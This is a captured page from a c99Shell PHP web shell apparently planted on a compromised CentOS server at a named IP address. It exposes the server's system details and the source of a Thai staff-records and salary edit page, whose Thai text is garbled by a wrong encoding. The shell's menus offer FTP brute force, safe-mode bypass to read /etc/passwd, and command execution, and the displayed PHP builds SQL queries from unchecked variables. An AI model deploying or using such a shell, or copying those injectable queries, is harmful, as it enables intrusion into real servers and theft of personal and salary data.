110.164.51.230 - phpshell

!c99Shell v. 1.0 pre-release build #16!
Software: Apache/2.2.3 (CentOS). PHP/5.1.6 uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44 EDT 2010 i686 uid=48(apache) gid=48(apache) groups=48(apache) Safe-mode: OFF (not secure) /var/www/html/manage/develop_person_depart/ drwxr-xr-x Free 51 GB of 127.8 GB (39.91%) Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout

<?php



    session_start();

    

    /**  Define Validate Access  */

    define( '_VALID_ACCESS', 1 );



    /**  Check Session User Login  */

    if( !session_is_registered("valid_user") && !session_is_registered("Priority") ) {

        echo "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-874\" />";

        echo "<p style=padding-top:115px><p align=center><br /><font color=red><strong>ЎГШіТ·УЎТГ Login ЎиН№</strong></font></p></p>";

        echo "<meta http-equiv=\"refresh\" content=\"1; URL=../login.php\" />";

        exit();

    } 

    else {

        /**  Configuration  */

        require_once( "../configuration.php" );

        require_once( $_Config_absolute_path . "/includes/framework.php" );

        require_once( "../include/Function.php" );

    

        /**  Create Database Object  */

        $dbObj = new DBConn;



        //=== SESSION

        $Username = $valid_user; 

        

        

        /**  Config Table for This Page  */

        $myTable1 = "personal_tb";

        $myTable2 = "project_tb";

        

        $myTable2PK = "codeId";

        

        /**  Table  -->  personal_tb  */

        $query = " SELECT *  FROM $myTable1  WHERE   Teacher_code='$Teacher_code' ";

        $result = $dbObj->execQuery($query);

        $rs = $dbObj->fetchArray($result);

        

        $Teacher_code = $rs['Teacher_code'];

       //

        $sql4 = "Select * From   history_position_tb   Where  Teacher_code='$Teacher_code' AND  Flag ='Y'   ";

         $result4= mysql_query($sql4) or die(" Error").mysql_error();

          $rs4 = mysql_fetch_array($result4);

        

    } # else

 ?>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">

<head>

<meta http-equiv="Content-Type" content="text/html; charset=windows-874" />

<link href="../css/default.css" rel="stylesheet" type="text/css" />

<script language="javascript" src="../js/utilities.js"></script>

<script language="javascript" src="../js/calendarDateInput2.js"></script>

<script language="javascript" src="../js/ajaxScript.js"></script>

<title>ўйНБЩЕ»ГРЗСµФКиЗ№µСЗ - бЎйдўўйНБЩЕ»ГРЗСµФЎТГ·У§Т№</title>

</head>



<body topmargin="0" rightmargin="0" bottommargin="0" leftmargin="0">

<?php

    include("../templates/incHeader.php");

?>

<table width="1003" border="0" cellspacing="0" cellpadding="0">

  <tr>

    <td width="203" align="left" valign="top" style="padding:10px 0px 0px 5px"><?php include("./_incMainMenu.php");?></td>

    <td width="800" height="440" align="left" valign="top" style="padding:10px 0px 5px 10px"><fieldset>

    <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="index.php">Л№йТЛЕСЎ</a></font><img src="../picture/ico3.gif" width="10" height="10" align="absmiddle" border="0" /><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="Show_Work_History.php?Teacher_code=<?=$Teacher_code;?>">ўйНБЩЕ»ГРЗСµФЎТГ·У§Т№</a></font><img src="../picture/ico3.gif" width="10" height="10" align="absmiddle" border="0" /><span class="NOTE"><strong>бЎйдўўйНБЩЕ»ГРЗСµФЎТГ·У§Т№</strong></a></font></span></legend>

    <?php

        /**  Query аѕЧиНЛТ Numrows ЎиН№  */

    ?>

    

     <form id="myForm" name="myForm" method="post" action="Edit_Update_Work.php">

     <table width="780" border="0" cellspacing="0" cellpadding="0">      

      <tr>

        <td height="5"></td>

      </tr>

      

      <tr>

        <td height="150" align="center"><table width="93%" border="0" align="center" cellpadding="1" cellspacing="1" bgcolor="#EAEAEA" style="border:0px solid gray">

          <tr bordercolor="#E7FAFE" bgcolor="#E7FAFE">

            <td width="15%" height="20" align="right" nowrap="nowrap" bordercolor="#FFFFFF" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">»ГРаА·єШ¤ЕТЎГ</td>

            <td nowrap="nowrap" bgcolor="#FFFFFF">:</td>

            <td nowrap="nowrap" bgcolor="#FFFFFF">

              <select name="Person_type" id="Person_type">

                <option value=""></option>

                <?php

                  $sql7= " SELECT *  FROM  person_type_tb    ORDER  BY  Ptype_code   ASC  ";

                  $result7 = mysql_query($sql7);

                  while( $rs7 = mysql_fetch_array($result7) ) {

                ?>

                <option value="<?=$rs7['Ptype_code'];?>" <?php if( $rs7['Ptype_code']==$rs['Person_type'] ) echo 'selected';?>>

                  <?=$rs7['Ptype_name'];?>

                  </option>

                <?php

                } # while

                  mysql_free_result($result1);

              ?>

                </select>

              </td>

            </tr>

          <tr bordercolor="#E7FAFE" bgcolor="#E7FAFE">

            <td height="20" align="right" nowrap="nowrap" bordercolor="#FFFFFF" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10 PADDING-TOP-5">»ГРаА·НТЁТГВм</td>

            <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-TOP-5">:</td>

            <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-TOP-5"><select name="Teacher_type" id="Teacher_type">

              <option value=""></option>

              <?php

                  $sql7= " SELECT *  FROM  teacher_type_tb     ORDER  BY  Ttype_code    ASC  ";

                  $result7 = mysql_query($sql7);

                  while( $rs7 = mysql_fetch_array($result7) ) {

                ?>

              <option value="<?=$rs7['Ttype_code'];?>"<?php if( $rs7['Ttype_code']==$rs['Teacher_type'] ) echo 'selected';?>>

                <?=$rs7['Ttype_name'];?>

                </option>

              <?php

                } # while

                  mysql_free_result($result1);

              ?>

              </select></td>

            </tr>

          <tr bordercolor="#E7FAFE" bgcolor="#E7FAFE">

            <td height="20" align="right" nowrap="nowrap" bordercolor="#FFFFFF" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10 PADDING-TOP-5">К¶Т№РµУбЛ№и§</td>

            <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-TOP-5">:</td>

            <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-TOP-5"><input type="radio" name="Dentis_code" <?php if (!(strcmp("$rs[Dentis_code]","01"))){echo "checked";} ?> value="01" onkeypress="return handleEnter(this, event)">·С№µбѕ·Вм 

              <input type="radio" name="Dentis_code" <?php if (!(strcmp("$rs[Dentis_code]","02"))){echo "checked";} ?> value="02" onkeypress="return handleEnter(this, event)"> аАКСЄЎГ

              <input type="radio" name="Dentis_code" <?php if (!(strcmp("$rs[Dentis_code]","03"))){echo "checked";} ?> value="03" onkeypress="return handleEnter(this, event)" /> НТВШГаЗ·</td>

            </tr>

          <tr bordercolor="#E7FAFE" bgcolor="#E7FAFE">

            <td align="right" valign="top" nowrap="nowrap" bordercolor="#FFFFFF" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10 PADDING-TOP-3">¤ЗТБаЄХиВЗЄТ</td>

            <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-TOP-5">&nbsp;</td>

            <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-TOP-5"><textarea name="Skill" cols="60" rows="5" id="Skill"><? echo htmlspecialchars_decode( $rs['Skill'] ); ?></textarea></td>

            </tr>

          <tr bordercolor="#FFFFFF" bgcolor="#FFFFFF">

            <td height="20" align="right" nowrap="nowrap" bordercolor="#FFFFFF" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">аЕў·Хигє»ГРЎНєЗФЄТЄХѕ</td>

            <td nowrap="nowrap" bgcolor="#FFFFFF">:</td>

            <td bgcolor="#FFFFFF" nowrap>                             

              <table>

                <tr>

                  <td>

                    <input name="Gover_id" type="text" id="Gover_id" value="<? echo $rs['Gover_id'] ;?>" size="10" maxlength="20" />                                    </td>

                  <td class="TEXT-DARK-BLUE10">ЛБґНТВШЗС№·Хи</td>

                  <td>

                    <script>DateInput('mDate1', true,'DD/MM/YYYY','<?=(isset($rs[Date_gover]))?ymdT2dmyE($rs[Date_gover]):date("d/m/Y");?>');</script>                                    </td>

                  </tr>

                </table>                        </td>

            </tr>

          <tr bordercolor="#E7FAFE" bgcolor="#E7FAFE">

            <td height="20" align="right" nowrap="nowrap" bordercolor="#FFFFFF" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">аЕў·ХиКБТЄФЎКАТЎТГѕВТєТЕ</td>

            <td nowrap="nowrap" bgcolor="#FFFFFF">:</td>

            <td nowrap="nowrap" bgcolor="#FFFFFF"><input name="Forum_nid" type="text" id="Forum_nid" value="<? echo $rs['Forum_nid'] ;?>" size="10" maxlength="10" /></td>

            </tr>

          <tr bordercolor="#FFFFFF" bgcolor="#FFFFFF">

            <td height="20" align="right" nowrap="nowrap" bordercolor="#FFFFFF" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">аЕў·ХиКБТЄФЎКБТ¤БѕВТєТЕ</td>

            <td nowrap="nowrap" bgcolor="#FFFFFF">:</td>

            <td nowrap="nowrap" bgcolor="#FFFFFF"><input name="Club_nid" type="text" id="Club_nid" value="<?  echo $rs['Club_nid'];?>" size="10" maxlength="10" /></td>

            </tr>

          <tr bordercolor="#FFFFFF" bgcolor="#FFFFFF">

            <td height="20" align="right" nowrap="nowrap" bordercolor="#FFFFFF" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">ГЛСК§Т№ѕСІ№ТєШ¤¤ЕТЎГ</td>

            <td nowrap="nowrap" bgcolor="#FFFFFF">:</td>

            <td nowrap="nowrap" bgcolor="#FFFFFF"><input name="Club_no" type="text" id="Club_no" value="<?  echo $rs['Club_no'];?>" size="10" maxlength="20" /></td>

            </tr>

          <tr bordercolor="#FFFFFF" bgcolor="#FFFFFF">

            <td height="20" align="right" nowrap="nowrap" bordercolor="#FFFFFF" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">ЗС№·ХиаГФиБГСєГТЄЎТГ</td>

            <td width="10" nowrap="nowrap" bgcolor="#FFFFFF">:</td>

            <td width="85%" nowrap="nowrap" bgcolor="#FFFFFF">

              <script>DateInput('mDate2', true,'DD/MM/YYYY','<?=(isset($rs[Year_gov]))?ymdT2dmyE($rs[Year_gov]):date("d/m/Y");?>');</script>                        </td>

            </tr>

          <tr bordercolor="#E7FAFE" bgcolor="#E7FAFE">

            <td align="right" nowrap="nowrap" bordercolor="#FFFFFF" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">ЗС№·ХиаГФиБ·У§Т№г№ЗФ·ВТЕСВ</td>

            <td nowrap="nowrap" bgcolor="#FFFFFF">:</td>

            <td nowrap="nowrap" bgcolor="#FFFFFF">

              <script>DateInput('mDate3', true,'DD/MM/YYYY','<?=(isset($rs[Year_coll]))?ymdT2dmyE($rs[Year_coll]):date("d/m/Y");?>');</script>                        </td>

            </tr>

          <tr bordercolor="#FFFFFF" bgcolor="#FFFFFF">

            <td height="20" align="right" nowrap="nowrap" bordercolor="#FFFFFF" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">ЗС№·ХиаГФиБ·УЎТГКН№</td>

            <td nowrap="nowrap" bgcolor="#FFFFFF">:</td>

            <td nowrap="nowrap" bgcolor="#FFFFFF">

              <script>DateInput('mDate4', true,'DD/MM/YYYY','<?=(isset($rs[Year_fac]))?ymdT2dmyE($rs[Year_fac]):date("d/m/Y");?>');</script>

              ЛБТВаЛµШ : ЗС№·ХиаГФиБЎТГКН№г№ГТВЗФЄТ·ХиГСєјФґЄНєЁТЎЛ№иЗВ§Т№НЧи№ж бЕРЗФ·ВТЕСВ                        </td>

            </tr>

          <tr bordercolor="#E7FAFE" bgcolor="#E7FAFE">

            <td height="20" align="right" nowrap="nowrap" bordercolor="#FFFFFF" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">а§Ф№аґЧН№</td>

            <td nowrap="nowrap" bordercolor="#E7FAFE" bgcolor="#FFFFFF">:</td>

            <td nowrap="nowrap" bordercolor="#E7FAFE" bgcolor="#FFFFFF"><input type="text"  value="<?  echo $rs['Salary_1'];?> " size="10" maxlength="7" style="text-align:center"  disabled="disabled" />

              <strong><font color="#000000" size="2" face="Tahoma"><span style="padding:5px 0px 5px 0px">

                <input name="Salary_1" type="hidden" id="Salary_1" value="<? echo $rs4['Salary']; ?>" />

                </span></font></strong> єТ·</td>

            </tr>

          <tr bordercolor="#E7FAFE" bgcolor="#E7FAFE">

            <td height="20" align="right" nowrap="nowrap" bordercolor="#FFFFFF" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">а§Ф№¤иТµНєб·№ЗФЄТЄХѕ </td>

            <td nowrap="nowrap" bordercolor="#E7FAFE" bgcolor="#FFFFFF">:</td>

            <td nowrap="nowrap" bordercolor="#E7FAFE" bgcolor="#FFFFFF"><input type="text"   value ="<?  echo $rs['Salary_2'];?>" size="10" maxlength="7" style="text-align:center" disabled="disabled"  />

              <strong><font color="#000000" size="2" face="Tahoma"><span style="padding:5px 0px 5px 0px">

                <input name="Salary_2" type="hidden" id="Salary_2" value="<? echo $rs4['Salary_2']; ?>" />

                </span></font></strong> єТ·</td>

            </tr>

          <tr bordercolor="#E7FAFE" bgcolor="#E7FAFE">

            <td height="20" align="right" nowrap="nowrap" bordercolor="#FFFFFF" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">а§Ф№»ГРЁУµУбЛ№и§ </td>

            <td nowrap="nowrap" bordercolor="#E7FAFE" bgcolor="#FFFFFF">:</td>

            <td nowrap="nowrap" bordercolor="#E7FAFE" bgcolor="#FFFFFF"><input type="text" value="<?  echo $rs['Salary_3'];?>" size="10" maxlength="7" style="text-align:center" disabled="disabled"  />

              <strong><font color="#000000" size="2" face="Tahoma"><span style="padding:5px 0px 5px 0px">

                <input name="Salary_3" type="hidden" id="Salary_3" value="<? echo $rs4['Salary_3']; ?>" />

                </span></font></strong>єТ·</td>

            </tr>

          <tr bordercolor="#E7FAFE" bgcolor="#E7FAFE">

            <td height="20" align="right" nowrap="nowrap" bordercolor="#FFFFFF" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">µУбЛ№и§·Т§ГТЄЎТГ</td>

            <td nowrap="nowrap" bordercolor="#E7FAFE" bgcolor="#FFFFFF">:</td>

            <td nowrap="nowrap" bordercolor="#E7FAFE" bgcolor="#FFFFFF"><font size="2" face="Tahoma"><strong><font color="#003366" size="2" face="Tahoma">

              <select name="PositionId" id="PositionId">

                <option value=""></option>

                <?php

                  $sql4 = " SELECT *  FROM  position_tb    ORDER  BY  PositionId   ASC  ";

                  $result4 = mysql_query($sql4);

                  while( $rs4 = mysql_fetch_array($result4) ) {

                ?>

                <option value="<?=$rs4['PositionId'];?>" <?php if( $rs4['PositionId']==$rs['PositionId'] ) echo 'selected';?>>

                  <?=$rs4['Position_name'];?>

                  </option>

                <?php

                } # while

                  mysql_free_result($result1);

              ?>

                </select>

              </font></strong></font></td>

            </tr>

          <tr bordercolor="#FFFFFF" bgcolor="#FFFFFF">

            <td height="20" align="right" nowrap="nowrap" bordercolor="#FFFFFF" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">µУбЛ№и§ЎТГєГФЛТГ</td>

            <td nowrap="nowrap" bgcolor="#FFFFFF">:</td>

            <td nowrap="nowrap" bgcolor="#FFFFFF"><input name="Manage_pos" type="text" id="Manage_pos" value="<? echo $rs['Manage_pos'];?>" size="30" maxlength="250" /></td>

            </tr>

          <tr bordercolor="#E7FAFE" bgcolor="#E7FAFE">

            <td height="40" align="right" nowrap="nowrap" bordercolor="#FFFFFF" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">КС§ЎСґЛ№иЗВ§Т№/АТ¤ЗФЄТ</td>

            <td nowrap="nowrap" bgcolor="#FFFFFF">:</td>

            <td nowrap="nowrap" bgcolor="#FFFFFF">

              <select name="Faculty_code" id="Faculty_code" onchange="selectFacultyCon()">

                <?php

                       

                                $strSQL3 = " SELECT * FROM   faculty_tb     ";

                                $result3 = mysql_query($strSQL3);

                                while( $rs3 = mysql_fetch_array($result3) ) {

                            ?>

                <option value="<?=$rs3['Faculty_code'];?>" <?php if( $rs3['Faculty_code']==$rs['Faculty_code'] ) echo 'selected'; ?>>

                  <?=$rs3['Faculty_name'];?>

                  </option>

                <?php

                                } # while

                            ?>

                </select>

              

              <span id="showFacultyCon">

                <?php

                                $strSQL4 = " SELECT * FROM facultycon_tb Where Faculty_code='$rs[Faculty_code]'";

                                $result4 = mysql_query($strSQL4);

                                $num_rows4 = mysql_num_rows($result4);

                            ?>

                &nbsp;&nbsp;&nbsp;&nbsp;

                <span style="display:<?=(!empty($rs['conId']) || $num_rows4)?"":"none"?>">ЎЕШиБ/§Т№</span>

                <select name="conId" id="conId" style="display:<?=(!empty($rs['conId']) || $num_rows4)?"":"none"?>">

                  <option value="">---- аЕЧНЎ ----</option>

                  <?php

                                    //$Faculty_code = $rs['Faculty_code'] ;

                                    $strSQL4 = " SELECT * FROM   facultycon_tb  Where   Faculty_code='$rs[Faculty_code]'  ";

                                    $result4 = mysql_query($strSQL4);

                                    while( $rs4 = mysql_fetch_array($result4) ) {

                                ?>

                  <option value="<?=$rs4['conId'];?>" <?php if( $rs4['conId']==$rs['conId'] ) echo 'selected'; ?>><?=$rs4['Group_name'];?></option>

                  <?php

                                    } # while

                                ?>

                  </select>

                </span>                        </td>

            </tr>                      

          <tr bgcolor="#ECF5FF">

            <td height="20" bgcolor="#FFFFFF">&nbsp;</td>

            <td height="20" bgcolor="#FFFFFF">&nbsp;</td>

            <td height="20" bgcolor="#FFFFFF"><input type="hidden" name="Teacher_code"  value="<? echo $Teacher_code; ?>" />

              <input type="submit" name="Submit" value="єС№·ЦЎ" class="WIDTH60 CURSOR-HAND" />&nbsp;

              <input type="reset" name="Reset" id="button" value="ГХа«зµ" class="WIDTH60 CURSOR-HAND" />

              &nbsp;&nbsp;

              <input type="button" name="button2" id="button2" value="ВЎаЕФЎ" class="WIDTH60 CURSOR-HAND" onclick="location.href='Show_Work_History.php?Teacher_code=<?=$Teacher_code;?>'" /></td>

            </tr>

          </table></td>

      </tr>

      <tr>

        <td>&nbsp;</td>

      </tr>

    </table>

    </form>

   </fieldset></td>

  </tr>

</table>

<?php include("../templates/incFooter.php"); ?>

</body>

</html>

<?php

    /**  Free Resource */

    $dbObj->freeresult($result1);

    

    /**  Close the Database  */

    $dbObj->disconn();

    

    /**  Unset Class  */

    unset($dbObj);

?>
:: Shadow's tricks :D ::
Useful Commands Warning. Kernel may be alerted using higher levels	Kernel Info:
:: Preddy's tricks :D ::
Php Safe-Mode Bypass (Read Files) File: eg: /etc/passwd	Php Safe-Mode Bypass (List Directories): Dir: eg: /etc/
:: Command execute ::
Enter:	Select: